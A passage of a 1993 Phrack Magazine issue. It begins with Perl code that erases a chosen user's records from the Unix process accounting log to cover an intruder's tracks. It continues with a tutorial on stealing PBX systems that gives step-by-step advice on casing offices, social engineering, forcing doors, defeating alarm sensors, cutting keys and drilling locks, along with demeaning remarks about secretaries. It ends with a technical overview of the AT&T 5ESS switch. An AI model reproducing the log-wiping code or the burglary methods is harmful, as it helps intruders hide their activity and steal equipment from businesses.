if ($c1 & 0001) { $flags .= 'F'; }
if ($c1 & 0002) { $flags .= 'S'; }
if ($c1 & 0004) { $flags .= 'P'; }
if ($c1 & 0010) { $flags .= 'C'; }
if ($c1 & 0020) { $flags .= 'K'; }
if ($c1 & 0300) { $flags .= 'A'; }
$c3 =~ s/\000.*$//;
print STDOUT "$c3 $flags $PASSWD{$u}/$GROUP{$g} $TTY{$d}";
print STDOUT " $DAY{$wday} $hour:$min:$sec";
if ($PASSWD{$u} eq $user) {
print " [ERASED] ";
} else {
print O pack($template,$c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3);
}
print "\n";
}
close(O);
}
#------------------------------------------------------------------------------
&LCE();
#struct acct
# {
# char ac_flag; /* Accounting flag */
# char ac_stat; /* Exit status */
# uid_t ac_uid; /* Accounting user ID */
# gid_t ac_gid; /* Accounting group ID */
# dev_t ac_tty; /* control typewriter */
# time_t ac_btime; /* Beginning time */
# comp_t ac_utime; /* Accounting user time */
# comp_t ac_stime; /* Accounting system time */
# comp_t ac_etime; /* Accounting elapsed time */
# comp_t ac_mem; /* average memory usage */
# comp_t ac_io; /* chars transferred */
# comp_t ac_rw; /* blocks read or written */
# char ac_comm[8]; /* Accounting command name */
# };
#
# #define AFORK 0001 /* has executed fork, but no exec */
# #define ASU 0002 /* used super-user privileges */
# #define ACOMPAT 0004 /* used compatibility mode */
# #define ACORE 0010 /* dumped core */
# #define AXSIG 0020 /* killed by a signal */
# #define ACCTF 0300 /* record type: 00 = acct */
---- End of /usr/adm/lastcomm editor
# All good things must come to an end
In conclusion, you need to be smarter than the administrator. Being
careless can get you busted. Clean your footprints. Watch the system.
Learn new tricks. AND KEEP ON HACKING!
Watch for my next article on 50 great system patches that will keep
your access just the way it is .. illegal. Yaawhoo.
# End of article
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 15 of 27
[** NOTE: The following file is presented for informational purposes
only. Phrack Magazine takes no responsibility for anyone
who attempts the actions described within. **]
***************************************************************************
Physical Access & Theft of PBX Systems
A DSR Tutorial by :
CO/der DEC/oder & Cablecast 0perator.
(K)opywronged 1993, by Dark Side Research
***************************************************************************
BACKGROUND
~~~~~~~~~~
July 1989, Mobil Oil Corporation Headquarters -- Fairfax, VA.
Abundant technology, late hours, and shadows between city lights
made up the typical environment CO/der DEC/oder repeatedly found
adventure in. On one such night in the summer of '89, a reconnaissance
outing landed him at the offices of Mobil Oil Corp. The door leading
from the multi-level parking garage into the foyer was equipped
with an access-request phone and a square black pad. The pad was flush
with the wall, and sported a red LED in its center -- a rather imposing
device used to read magnetic access cards. CODEC picked up the phone
and listened to a couple rings followed by the voice of a security
guard, "Good evening, security ..."
"Evenin', this is Dick Owens with CACI graphics. I don't have a
card, but just call upstairs and they'll verify."
"Hold on, sir ..."
Kastle Security's verification call registered as a sudden 90 VAC
spike on Cablecast 0perator's meter. Clipped on the blue and white pair
of CACI's incoming hunt group, Cable picked up on his TS-21:
"Hello?"
"This is Kastle Security. We've got a Dick Owens downstairs
requesting access."
"Yeah Sure. Let him in please."
The security man took Codec off hold, "Okay sir, what entrance are
you at?"
"Garage level one."
The door clicked, and in went the hacker-thief -- grinning.
Another lock at the end of a hallway also hindered access, but a
screwdriver, placed between door and frame, removed the obstruction with
a quickly applied force.
CACI was a graphics outfit sharing the same building with Mobil.
After a perusal through its desks and darkened corridors turned up a
cardkey for later use, Codec -- pausing casually along the way at the
drunking fountain -- made his way to the opposite end of the hallway and
into Mobil's mail receiving room. In contrast to elsewhere in the
building, this room was chilly -- as if heavy air conditioning was
nearby. There was also a faint roar of fans to enhance this notion.
And behind a countertop in the direction of the noise, a split door could
be seen through which mail and parcels were passed during business
hours. Hardly an obstacle, he was on the other side in an instant.
This "other side" was no less than a gateway to nirvana. At first he
began taking in the sight of a mini-computer, console, and mass storage
devices, but his eyes were virtually pulled to the giant on his left.
It was the largest and most impressive PBX he had yet seen; a label
above the five gargantuan, interconnected cabinets read, "AT&T SYSTEM
85." The hacker's heart raced -- he wanted to explore, control, and own
the switch all at once. Within seconds his gloved hands caressed the
cabinets while his hungry eyes scanned circuit pack descriptors, mouth
agape. Codec grabbed some manuals, jotted down numbers to a modem
stack, and reluctantly departed. A week later, he stole the switch.
To the Dark Side Research group, the System 85 would be worth
approximately $100,000 -- but to Mobil, the system was worth at least
six times that figure. In its entirety it was more valuable, but DSR
was only concerned with the guts; the digital circuitry of the system.
When Codec reentered the building the following week, he was wearing a
VOX headset attached to a hand-held 2-meter band (HAM) radio. This was
strapped to his chest except for the rubber-whip antenna which protruded
out of a hole in his jacket. His awestruck, gleeful countenance from
a week prior had been replaced by a more grave expression, and the
moisture now on his body was no longer from unconscious salivation
but due to the sweat of anticipation and rapid movement.
"Phase one complete," he spoke into the boom mic in front of his
face.
"Roger Nine-Two. Quit breathing on the VOX or adjust sensitivity,
over."
"Roger Nine-Three. Entering heavy EMI area," Codec acknowledged to
one of the lookouts.
Steps were retraced through the mail room, where several empty
boxes marked "U.S. Mail" and a dolly were conveniently stored. The
System 85 was shut down, cabinet by cabinet, as most of the circuit
boards were hastily removed and boxed. Seven boxes were filled,
requiring two trips with the dolly to a side door.
"All units: ready for docking."
"Roger Nine-Two. Standby. Nine-Three, okay for docking?"
"Step on it, over ..."
A Ford Escort with its hatch open raced up to where Codec and the
boxes stood. Within fifteen minutes the circuit packs were unloaded in
a public storage unit. Within half an hour, CO/dec DEC/oder, Cablecast
0perator, and the remainder of the night's crew were filling up with
doughnuts of the nearby 7-11, observing local law enforcement doing the
same.
APRIL 1993: Security memorandum broadcast from wrq.com -- Internet
"We've all heard of toll fraud as a way to steal telecommunications
resources. Now the ante has been escalated. I've heard of a
company on the East Coast that was having some minor troubles with their
PBX. A technician showed up at the door and asked directions to the PBX
closet. The company showed this person the way without checking any
credentials, and about five minutes later the phones went completely
dead. They went up to the PBX closet and found that several boards from
the PBX had been removed and that the 'repairman' had departed."
The theft of PBX circuit boards is a novel idea and seldom heard
of, but -- as made apparent above -- it does occur. In the used PBX
scene, often referred to as the "secondary" or "grey" market, there is
always a demand for circuit packs from a wide variety of PBXs. The
secondhand PBX industry grew from $285 million in 1990 to $469 million
in 1992 -- despite the recession.
The essence of any PBX is a rack or multiple racks of circuit
cards/boards/packs, with an average grey market value of anywhere from
$50 to $2000 each. The cards are lightweight, small in size, and can
even withstand a moderate dose of abuse. Transport of misappropriated
circuit boards is done without risk -- under and police scrutiny, a box
of these looks like a mere pile of junk (or senior engineering project)
in the trunk of your car. Furthermore, the serial numbers on the boards
are seldom, if ever, kept track of individually, and these can be
removed or "replaced" in any case. Unlike computer equipment or
peripherals, PBX cards are extremely safe, simple, and non-proprietary
components to handle -- even in quantity.
Although you may wish to physically access PBXs for reasons other
than theft, it will be assumed here that monetary gain is your motive.
In either case, this introductory file makes it clear that access can be
achieved with varying levels of ease. A PBX theft should be thought of
in terms of two phases: reconnaissance and extraction. Recon involves
finding and selecting prime targets. Extraction is the actual theft of
the system. Both phases can be completed through "office building
hacking," a wide variety of deception, breaking and entering, social
engineering, and technical skills.
Phase I : Reconnaissance
PBXs are found where people's communications needs warrant the
capabilities of such a system -- offices, schools, hotels, convention
centers, etc. The PBXs we will concert ourselves with in this discourse
however are those located in shared or multiple-leased office
structures; the "typical" office buildings. The typical office building
has enough floors to require an elevator, some parking space, a lobby,
and a company directory (Because it is shared by more than one
business). Companies that occupy an entire building by themselves are
generally too secure to be worthwhile targets.
Tenant companies in the typical building lease all different size
office space -- some rent only 300 sq. ft., others take up entire
floors. Those that use half a floor or more usually meet the criteria
for PBX ownership. Obviously, the larger the firm's office at that
site, the greater its PBX will be, so those business spread out over
several floors will have the most valuable systems. This is not always
an overwhelming factor in determining a target however. The smaller
systems are often easier to get at -- and ultimately to remove --
because they tend to be located in utility closets off publicly
accessible hallways as opposed to within a room inside an office space.
Those closets, sometimes labeled "telephone" and even unlocked, will be
found one or two per floor! Other closets may exist for electrical
equipment, HVAC, plumbing, janitorial supplies, or for a combination of
these uses in addition to telephone service.
A phone closet is easily distinguishable whether or not a switch or
key system is present. A web of low-voltage (22 AWG), multi-colored
wiring will be channelled and terminated on a series of white "66"
blocks mounted on the wall. These blocks are a few inches wide, and
roughly a foot long, with rows of metallic pins that the wiring is
punched into with a special tool. As a general rule, if the system is
fastened to the wall and doesn't have at least one muffin fan built-in
and running, it's either a measly key system or a PBX too small to
deserve your attention. Those worthy of your time will stand alone as a
cabinet with a hinged door, contain shelves of circuit cards, and
emanate the harmonious hum of cooling fans. As an example, Mitel PBXs
commonly fit cozily in closets -- sometimes even one of the newer ROLMs
or a voice mail system. On the other hand, an NT SL-100 should
not be an expected closet find.
Wandering through office buildings in search of phone closets
during business hours is easy, so long as you dress and act the part.
You'll also want to look confident that you know what you're doing and
where you're going. Remember, these buildings are open to the public
and an employee of one company can't tell whether or not you're a client
of another. When going in and out of the phone closets, who's to know
you're not a technician or maintenance man?
Apart from searching the closets, you can approach the secretaries.
Feign being lost and ask to use the telephone. Steal a glance at the
console and you'll know (with a little practice) what type of PBX
they've got. This is very valuable information, for it may save you
from unsuccessfully breaking into the closet (should it be locked) or
the company itself. Secretaries are cute, courteous, and dumb. You
shouldn't have a problem convincing her to give you the key to the phone
closet if you're posing as a technician. If you're feeling as confident
as you should be, you may even get a date with the bitch. And should
you ever raise suspicion, you always have the option of bailing out and
making a break for the stairwell. No business exec is going to chase
you down.
Some additional methods can be employed in conjunction with
visiting the buildings, or as a precursor to such :
-- Classified ads. A company with job openings is all the more
vulnerable to your dark motives. Using the help-wanted section of your
newspaper, look for receptionist and secretarial positions. Call and
ask, "What type of phone system will I be required to handle?" You may
also want to go in and apply for the job -- any job at a large firm will
do. You'll learn the type of system installed, some details about
security, etc; this is a very sophisticated way of "casin' the joint."
-- Scanning for RMATS. Using your preferred wardialer (such as
ToneLoc), scan business districts for PBX remote maintenance modems then
CNA your finds.
-- Targeting interconnects. Interconnects are PBX dealers that sell,
install, and maintain the systems on contract. Capture a database of
clients and you'll have a windfall of leads and pertinent info. AT&T
allegedly sells its database by region. Also, intercept voice mail or
company e-mail. Interconnects make decent targets themselves.
-- Users groups and newsletters. Some of the extremely large PBX owners
join users groups. Though this is abstract, owners will discuss their
systems openly at the meetings. Newsletters are mailed out to members,
often discussing special applications of specific locations in detail.
Great for making sales contacts.
Phase II : Extraction
Removing the PBX calls for an assessment of obstacles versus
available means and methods. The optimum plan incorporates a late
afternoon entry with a nighttime departure. This means entering the
building during business hours and hiding, either in the PBX closet
itself or any room or empty space where you can wait until after hours
to re-emerge. This is the most safest and effective of methods. You
need not worry about alarms or breaking in from outside, and you can
take advantage of one of the greatest weaknesses in corporate office
security -- janitors. The janitorial staff, if you act and dress
properly, will allow you to walk right into an office while they're
cleaning. If you're already in an office and they enter, just act like
you own the place and it'll be assumed you work there. If you prefer
not to be seen, keep hidden until the cleaning is done on your floor.
(Be sure not to make the idiotic mistake of hiding in the janitor's
closet). Although the custodians will lock the doors behind them, any
alarms in the building will remain off until cleaning for the entire
structure is complete.
There is simply nothing so elegant as entering the building during
the daytime hours, hiding, and re-emerging to wreak havoc when
everyone's gone. (A patient wait is required -- take along a Phrack to
read). Unfortunately, entry will not always be so easy. The phone
closet may have a dead-bolt lock. There may be no feasible hiding
place. People may constantly be working late. Because of all the
potential variables, you should acquire a repertoire of means and
methods. Use of these methods, though easy to learn, is not so quickly
mastered. There is a certain "fluidity of technique" gained only
through experience. Deciding which to use for a given situation will
eventually come naturally.
-- Use of tools. You can easily get around almost any office building
using only screwdrivers. With practice, prying doors will be quick and
silent. Although some doors have pry-guards or dead-bolts, about every
other phone closet you'll encounter can be opened with a screwdriver.
Before forcing the gap between door and frame, try sliding back the
locking mechanism. For best results, work it both ways with a pair of
screwdrivers; a short one for leverage, a longer one for manipulation.
For dead-bolts, a pipe wrench (a wrench with parallel grips) can
turn the entire lock 90 degrees. Interior doors are cheaply
constructed; if you can wrench the lock, it'll turn and the bolt will be
pulled back into the door. Quality dead-bolts have an inclined exterior
to prevent it from being gripped. For these, diamond-cutting string can
be applied. This is available at select plumbing supply houses for $150
upwards.
-- Ceilings and adjacent offices. Not only are the doors cheap inside
office buildings, so are the walls. If you're having trouble with a
door or lock, push up a ceiling tile with your screwdriver and see if
the wall stops or is continuous. If it stops, you may choose to climb
over. If you're already inside an office and find a particular room
locked, climbing is always an option because walls are never continuous
between rooms. Walls are seldom continuous between business either; if
you can't get into a particular office space, try through adjacent
space.
-- Brute force. If making noise is not a serious concern, a crowbar
will pry any door open. For most situations requiring this level of
force, a sleek, miniature bar is all you need. You can also saw or
hammer your way through any interior wall. Once you've made a hole in
the sheetrock, you can practically break out the remainder of an opening
yourself using only your hands.
From the outside, windows can be broken or removed. Office
building glass is installed from the outside, so by removing the seal
and applying a suction device, you can pull the entire window out.
Breaking the glass is not too difficult, but frighteningly loud. Using
a screwdriver, push the blade between the edge and its frame and pry.
Eventually you'll have holes and cracks running across the window.
Building glass is typically double-paned; once through the exterior
layer, you'll have to break the next. Because the second layer isn't as
thick, you have the option of prying or smashing. This sounds extremely
primitive -- it is, but it may be the only method available to you.
Highly-alarmed office structures do not have the windows wired. When
there's a 5,000-port NEC NEAX 2400 in view and alarms everywhere else,
you'll break the fucking glass.
-- Alarm manipulation. Entire files could be written on this subject.
Some relevant facts will be touched on here; no MacGyver shit.
Our "typical" office building, if alarmed, has one of three types
of alarm plans. The alarm system is either externally-oriented,
internally-oriented, or both. More often than not, externally-oriented
alarm systems are encountered. These focus on keeping outside intruders
from entering the building -- interior offices are secured only by
locks. Alarm devices such as magnetic switches and motion detectors are
in place solely in lobby areas and on doors leading from outside. If
you know in advance that you can readily enter any of the offices, the
alarm is harmless. After entering, go directly into the office and look
out the window. Eventually, security or police will arrive, look
around, then reset the alarm and leave -- so long as you haven't left
any trace of your entry (damaged doors, ceiling tile fragments, etc).
Although common areas and corridors will be briefly scanned, no company
offices will be entered.
Internally-oriented alarm plans include alarms on individual
offices and are more difficult to reckon with. However, the sensors are
only on the doors; any method that avoids opening the door can still be
used.
Access controls like cardkeys are impressive in appearance but do
not automatically represent an alarm. If you open the door without
inserting a cardkey, the system must be equipped to know whether a
person entered the building or exited. Thus, only those systems with
motion detectors or a "push button to exit" sign and button can cause an
alarm at the cardkey-controlled door. Otherwise the door and cardkey
device is no more than a door with an electronic lock. There are always
exceptions to the rules, of course; never trust any alarm or access
control system. Sometimes a system will be programed to assume any
opened door is someone entering, not exiting. Check for sensors --
mounted flush on the door frame -- look carefully, they'll sometimes be
painted over. Check both sides and top of the frame. If a sensor is
found (or when in doubt) hold the door open for about ten seconds, then
wait and watch for up to an hour to see if there's a silent alarm.
For the "push button to exit" entrances, you can sometimes use a
coat hanger or electricians fish tape to push the button from outside
using cracks around the door. Where motion detectors automatically open
the entrance, similar devices can be employed to create enough commotion
to activate the detector (depending on detector type).
Disabling part of the alarm system may be a possibility during the
day. Chances are, if you can access the control CPU you've also got a
place to hide, and the control box is often alarmed against tampering
anyway. Many of the latest systems are continuously monitored from a
central station. If not, you can disconnect the alarm box from its
phone line. Your best approach however is to alter a door
sensor/magnetic switch circuit. You can use a piece of conductive hot
water duct tape to trick the sensor into thinking the door is always
closed. This tape looks like tin foil with an adhesive on one side.
Obtain a similar sensor and test at home before relying on this --
magnetic switches come in many shapes and forms. The better systems
don't even check for normally-open or normally-closed states, but for
changes in the loop's resistance. This means simply cutting or
shorting the lead wires won't suffice. But if the conductive tape won't
do, you can always just cut the leads and return in a couple days. If
the cut hasn't been repaired, then you have an entry point. Building
managers become lax with an alarm system after it's been installed for a
while and there haven't been any break-ins. Other loops are disabled
after late-working employees repeatedly off the alarm. One other option
is to cut and splice both parts of the sensor back into the loop so that
it remains unaffected by movement of the door. The throughways to
target for any of these alterations are minor side doors such as parking
garage or stairwell exits. You should be pleasantly surprised with the
results.
-- Locks and picks. (This could be another textfile in itself).
Lockpicking is an extremely useful skill for PBX appropriation but
requires quite a bit of practice. If you aren't willing to invest the
time and patience necessary to become effective with this skill,
screwdrivers are the next best thing. Furthermore, with all the
different types and brands of locks in existence, you'll never be able
to solely rely on your lockpicking skills. Acquire this ability if your
involvement in underworld activities is more than just a brief stint...
You can more readily take advantage of the skills possessed by
locksmiths. Because the offices within a typical building all use the
same brand lock with a common keying system, any of the locks can yield
the pattern for a master key to the whole system. Obtain a spare lock
from the basement, maintenance room, or anywhere extra doors and
hardware are stored, and take it to a locksmith. Request a key for that
lock and a master. Many of the offices should now be open to you.
Some keys are labeled with numbers -- if the sequence on the key
equals the number of pins in the lock, you can write down the number and
lock brand, and get a duplicate of the key cut.
There is also a little locksmithing you can do on your own. With a
#3 triangular "rat tail" file and a key blank to the brand lock you are
targeting, you can make your own key. Blanks are either aluminum or
brass and scratch easily -- this is no accident. By inserting a key
blank in the lock and moving it from side to side, you'll create
slate-colored scratch lines on the blank from the lock's pins. The
lines will indicate where to begin filing a valley -- there'll be one
for each pin. Move the file back and forth a few times and re-insert
the key to make new lines. Use the point of the file only when
beginning the valley; successive passes should not create a point at the
bottom of the cut but leave a flat gap. When no new scratch appears on
the bottom of a particular valley, don't file the valley any deeper --
it's complete. Eventually, all the valleys will be cut and you'll have
a key to open the lock.
Last but certainly not least, you can drill most locks where a
little noise can be afforded. Using a 1/4 inch Milwaukee cordless drill
with about a 1/8 inch carbide-tipped bit, you can drill a hole the
length of the lock's cylinder. Drill approximately 1/8 inch directly
above the keyhole. This destroys the lock's pins in its path, and
allows others above to fall down into the hole. Now the cylinder will
turn with any small screwdriver placed in the keyhole and open the lock.
Little practice is demanded of this technique, and it's a hell of a lot
of fun.
-- Elevator manipulation. Elevators can be stubborn at times in
rejecting your floor requests. Companies that occupy entire floors must
prevent an after-hours elevator from opening up on their unattended
office. If there's a small lock corresponding or next to that floor's
selection button, unscrew the panel and short out the two electrical
leads on the other end of the lock. Continue to short the contacts
until you press the button and it stays lit -- you'll then arrive at
your desired floor.
The elevator motor and control room is located either on the roof
or penthouse level and can be frequently found accessible. Besides
being a place to hide, sometimes you can find a bank of switches that
override the elevator's control panel (if for some reason you can't open
it or it's cardkey-controlled) and get to your floor that way. Two
people with radios are needed to do this -- one in the equipment room,
one in the elevator. Watch for high voltage and getting your coat
caught in a drive belt ...
Operation Integrity
By taking advantage of daytime access, hiding places, and some of
the more sophisticated methods, there's no need to become an alarm
connoisseur or full-blown locksmith to liberate PBX equipment. When
you can't avoid nighttime activity or an activated alarm system, then be
sure to take extra precautions. Have lookouts, two-way radios, even a
police scanner. Don't use CB radios, but rather HAM transceivers or
anything that operates on proprietary frequencies. This will require a
small investment, but there's no price on your safety.
Office buildings in downtown areas tend to be more secure than
those in the suburbs or outlying areas. Location and surroundings are
important considerations when your operation takes place at night. It
should also be noted that a building without a security guard (typically
the norm) may still subscribe to sporadic security checks where
rent-a-cops drive around the building at some regular interval.
With regard to transportation and storage, rent vehicles and
facilities in alias names where appropriate. Use taxis to pick you up
when you're departing with only a briefcase or single box of cards. No
matter what the time may be, anyone seeing you enter a taxi in front of
the office will assume you're legit.
It is our sincere wish that you apply this information to the
fullest extent in order to free yourself from becoming a mere tool of
capitalism, and use this freedom to pursue those things in life that
truly interest you. We have tried to summarize and convey enough
basic information here to provide you with a complete underground
operation possibility. All material in this file is based on actual
experience of the authors and their associates.
For information on the sale of PBX or other telecommunications
equipment, or for any other inquiry, contact the Dark Side Research
group at the following Internet address :
codec@cypher.com
***************************************************************************
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 16 of 27
% % % % % % % % % % % % % % % % % % %
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% % % %
% AT$T 5ESS(tm) %
% % From Top to Bottom % %
% %
% % % %
% by: Firm G.R.A.S.P. %
% % % %
% % % % % % % % % % % % % % % % % % % %
% % % % % % % % % % % % % % % % % % %
Introduction
~~~~~~~~~~~~
Welcome to the world of the 5ESS. In this file I will be covering
the switch topology, hardware, software, and how to program the switch. I
am sure this file will make a few people pissed off <grin> over at BellCORE.
Anyways, the 5ESS switch is the best (I think) all around switch. Far
better then an NT. NT has spent too much time with SONET and their S/DMS
TransportNode OC48. Not enough time with ISDN, like AT$T has done. Not only
that, but DMS 100s are slow, slow, slow! Though I must hand it to NT, their
DMS-1 is far better then AT$T's SLC-96.
What is the 5ESS
~~~~~~~~~~~~~~~~
The 5ESS is a switch. The first No. 5ESS in service was cut over in Seneca,
Illinois (815) in the early 1982. This test ran into a few problem, but all
and all was a success. The 5ESS is a digital switching system, this
advantage was realized in No. 4 ESS in 1976. The 5ESS network is a TST
(Time Space Time) topology, the TSIs (Time Slot Interchangers) each
have their own processor, this makes the 5ESS one of the faster switches.
Though I hear some ATM switches are getting up there.
5ESS System Architecture & Hardware
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
5ESS SYSTEM ARCHITECTURE
OSS Data Links
^ ^ ^
| | |
| | |
......|.|....|......
: v v v :
: ------------- :
: | | :
: | Input | :
........................... : | Output |====== TTY/CRT
----------- : : : | Processor | :
| Switch |<=========== : : ------------- :
| Module |<========] | : : ^ ..............
----------- : v v : : | :
o : ======= ---------- : : | ------------ :
o : | TMS |<->|Message | : : | | Main | :
o : | |<->|Switch |<============ | | Store | :
----------- : ======= ---------- : : | | -----.------ :
| Switch | : ^ ^ : : | | | :
| Module |<========= | : : v v | :
-----------<=========== : : -------------- | :
:.........................: : | 3B |======= :
: | Central | :
: | Control |<=====> Disk! :
: -------------- :
: :
................................:
COMMUNICATIONS MODULE ADMINISTRATIVE MODULE
The 5 ESS is a digital SPC switching system which utilizes distributed
control, a TST switching network and modular hardware and software design.
The major components are:
ADMINISTRATIVE MODULE
Two 3B20S Processors (Which equal a 3B20D)
- Central control and main storage
- Disk storage for infrequently used programs and data, and main storage
regeneration.
- The two 3B20S processors are always comparing data, and when one fails
the other acts in its place.
Two Input/Output Processors (IOP)
- Provides TTY and data-link interfaces to the 3B20D Processor, 5ESS
Network, Master Control Center (MCC), and various Operational Support
Systems (OSS). Here is a list of the defult TTY (also called
"channels")
tty Channel Name
ttyA Master control console (MCC) terminal.
ttyB Master control console (MCC) terminal.
ttyC Traffic report printer
ttyJ supplementary trunk and line work station (STLWS) terminals
ttyK supplementary trunk and line work station (STLWS) terminals
ttyL supplementary trunk and line work station (STLWS) terminals
ttyM supplementary trunk and line work station (STLWS) terminals
ttyN supplementary trunk and line work station (STLWS) terminals
ttyO supplementary trunk and line work station (STLWS) terminals
ttyP Repair service bureau - Recent change and verify (RSB-RCV)
ttyR Office records printer
ttyQ Switching control center-recent change and verify (SCC-RCV)
terminals
ttyR Repair service bureau-automatic line insulation testing
(RSB-ALIT) terminal.
ttyS Switching control center-recent change and verify (SCC-RCV)
terminals
ttyT Switching control center-recent change and verify (SCC-RCV)
terminals
ttyU Belt line B
ttyV Local recent change and verify (RCV) terminal
ttyW Remote recent change and verify (RCV) terminal.
ttyY Network administration center (NAC) terminal.
ttyZ The switching control center (SCC) terminal.
ttyi SLC(R) carrier maintenance
ttyj STLWS - fifth of six
ttyk STLWS - sixth of six
ttyl STLWS - first of six
ttym STLWS - second of six
ttyn STLWS - third of six
ttyo STLWS - fourth of six
ttyp RCV/Repair Service Bureau
ttyq RCV/Network Administration Center
ttyr ALIT/Repair Service Bureau
ttys Maintenance
ttyt Maintenance
ttyu Belt line A
ttyv Local RC/V
ttyw Remote RC/V
ttyx Maintenance Control Center/Switching Control Center System
(MCC/SCCS)
ttyy Maintenance Control Center/Switching Control Center System
(MCC/SCCS)
ttyz Maintenance Control Center/Switching Control Center System
(MCC/SCCS)
FILE Destination file name in /rclog partition
mt00 High-density tape device, rewind after I/O
mt04 High-density tape device, does not rewind after I/O
mt08 Low-density tape device, rewind after I/O
mt0c Low-density tape device, does not rewind after I/O
mt18 Low-density tape device, rewind after I/O
mt1c Low-density tape device, does not rewind after I/O
mttypc0 Special tape device, IOP 0, rewind after I/O
mttypc1 Special tape device, IOP 1, rewind after I/O.
Two Automatic Message Accounting (AMA) units
- Uses data links to transport calling information to central revenue
accounting office and AMA tape. Here is the basic structure AMA
structure for the OSPS model.
- Called customer's telephone number, either a
seven- or ten-digit number
- Calling customer's telephone number, seven digits
- Date
- Time of day
- Duration of conversation.
COMMUNICATIONS MODULE
Message Switch (MSGS)
- Provides for control message transfer between the 3B20D Processor and
Interface Modules (IM's)
- Contains the clock for synchronizing the network.
Time Multiplexed Switch (TMS)
- Performs space division switching between SM's
- Provides permanent time slot paths between each SM and the MSGS
for control messages between the Processor and SM's (or between SM's)
Switching Module (SM)
- Terminates line and trunks
- Performs time division switching
- Contains a microprocessor which performs call processing function
for the SM
5ESS - SWITCH MODULE
--------------
| |
| SMPU |
|------------|
--------- | |
| | (64) | |
Analog Sub Lines <---->| LU |<-------->| |
|-------| | |
| | (64) | |
Analog Trunk Lines <-->| TU |<-------->| | (256)
|-------| | TSIU |<--------> NCT
| | | | Links
| | (128) | 512 | to
SLC-96 Remote <------->| DCLU |<-------->| Time |<--------> TMS
| | | Slots |
|-------| | |
| | | |
| | | |
| | | |
| | (256) | |
T1 Lines <---------->| DLTU |<-------->| |
| | | |
| | | |
| | |------------|
--------- | |
| DSU |
--------------
COMMON COMPONENTS OF THE SWITCH MODULE (SM)
Switch Module Processor Unit (SMPU)
- Contains microprocessors which perform many of the call processing
functions for trunks and links terminated on the SM.
Time Slot Interchange Unit (TSIU)
- 512 time slot capacity
- Connects to the TMS over two 256-time slot Network Control and Timing
(NCT) links.
- Switches time slots from Interface Units to one of the NCT links (for
intermodule calls).
- Switches time slots from one Interface Unit to another within the SM
(for intramodule calls).
Digital Service Unit (DSU)
- Local DSU provides high usage service circuits, such as tone decoders
and generators, for lines and trunks terminated on the SM.
- Global DSU provides low usage service circuits, such as 3-port
conference circuits and the Transmission Test Facility, for all lines
and trunks in the office (requires 64 time slots).
The SM may be equipped with four types of Interface Units:
Line Unit (LU)
- For terminating analog lines.
- Contains a solid-state two-stage analog concentrator that provides
access to 64 output channels. The concentrator can be fully equipped to
provide 8:1 concentration or can be fully equipped to provide 6:1 or 4:1
concentration.
- Each TU requires 64 time slots.
Trunk Unit (TU)
- For terminating analog trunks.
- Each TU requires 64 time slots.
Digital Line Trunk Unit (DLTU)
- For terminating digital trunks and RSM's.
- Each fully equipped DLTU requires 256 time slots.
- A maximum of 10 DSls maybe terminated on one DLTU.
The SM may be equipped with any combination of LU's, TU's, DCLU's and DLTU's
totaling 512 time slots.
5ESS System Software
~~~~~~~~~~~~~~~~~~~~
The 5ESS is a UNIX based switch. UNIX has played a large part in
switching systems since 1973 when UNIX was use in the Switching Control Center
System (SCCS). The first SCCS was a 16 bit microcomputer. The use of
UNIX for SCCS allowed development in C code, pseudo code, load test,
structure and thought. This led the development of the other switching systems
which AT$T produces today (such at System 75, 85, 1AESS AP, and 5ESS).
NOTE: You may hear SCCS called the "mini" sometimes
The 5ESS's /etc/getty is not set up for the normal login that one would
expect to see on a UNIX System. This is due to the different channels that
the 5ESS has. The some channels are the TEST Channel, Maintenance Channel,
and RC Channel (which will be the point of focus). Once you are on one
channel you can not change the channel, as someone has said " it is
not a TV!" You are physically on the channel you are on.
Test Channel
~~~~~~~~~~~~
The TEST channel is where one can test lines, and test the switch itself.
This is where operating support systems (such as LMOS) operate from.
This channel allows one to monitor lines via the number test trunk aka
adding a third trunk), voltage test and line seizure.
Here is a list of OSSs which access the test channels on the 5ESS.
Group Operating Support Systems
Special Service Center
SMAS via NO-Test
SARTS (IPS)
NO-TEST trunk (from the switch)
TIRKS
17B and 17E test boards (CCSA net using X-Bar)
RTS
BLV
POVT
DTAC
etc...
Repair Service Bureau
#16LTD
#14LTD
LMOS (IPS)
MLT-2
ADTS
TIRKS
TFTP
TRCO
DAMT
ATICS
etc...
SCC Channel
~~~~~~~~~~~
The SCC channel is where the SCC looks and watches the switch 24 hours a day,
seven days a week! From this channel one can input RC messages if necessary.
A lot of people have scanned these out, and though they were AMATs. Well this
is in short, WRONG! Here is a sample buffering of what they are finding.
-----------------------------------------------------------------------------
S570-67 92-12-21 16:16:48 086901 MDIIMON BOZOVILL DS0
A REPT MDII WSN SIGTYPE DP TKGMN 779-16 SZ 21 OOS 0
SUPRVSN RB TIME 22:16:48 TEN=14-0-1-3-1 TRIAL 1 CARRFLAG NC ID
OGT NORMAL CALL CALLED-NO CALLING-NO DISCARD 0
S4C0-148963487 92-12-21 16:17:03 086902 MAIPR BOZOVILL DS0
OP:CFGSTAT,SM=1&&192,OOS,NOPRINT; PF
S570-67 92-12-21 16:17:13 086903 S0 BOZOVILL DS0
M OP CFGSTAT SM 5 FIRST RECORD
UNIT MTCE STATE ACTIVITY HDWCHK DGN RESULT
LUCHAN=5-0-0-3-4 OOS,AUTO,FE BUSY INH CATP
LUCHAN=5-0-0-2-5 OOS,AUTO,FE BUSY INH ATP
LUCHAN=5-0-0-0-3 OOS,AUTO,FE BUSY INH ATP
LUCHAN=5-0-0-3-5 OOS,AUTO,FE BUSY INH ATP
LUHLSC=5-0-0-1 OOS,AUTO,FE BUSY INH ATP
LUCHAN=5-0-0-0-2 OOS,AUTO,FE BUSY INH CATP
LUCHAN=5-0-0-3-6 OOS,AUTO,FE BUSY INH ATP
LUCHAN=5-0-0-1-4 OOS,AUTO,FE BUSY INH ATP
S570-983110 92-12-21 17:09:53 144471 TRCE WCDS0
A TRC IPCT EVENT 2991
DN 6102330000 DIALED DN 6102220001
TIME 17:09:52
------------------------------------------------------------------------------
This has nothing to do with AMA, this is switch output on say the SCC
channel. This is used by the SCCS for logging, and monitoring of alarms.
The whole point of this channel is to make sure the switch is doing what it
should do, and to log all activity on the switch. NOTHING MORE!
To go into these messages and say what they are would take far too long,
